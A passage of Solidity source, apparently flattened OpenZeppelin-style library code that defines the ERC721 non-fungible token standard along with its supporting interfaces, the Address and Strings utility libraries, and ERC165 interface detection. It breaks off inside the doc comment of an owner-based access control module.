// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
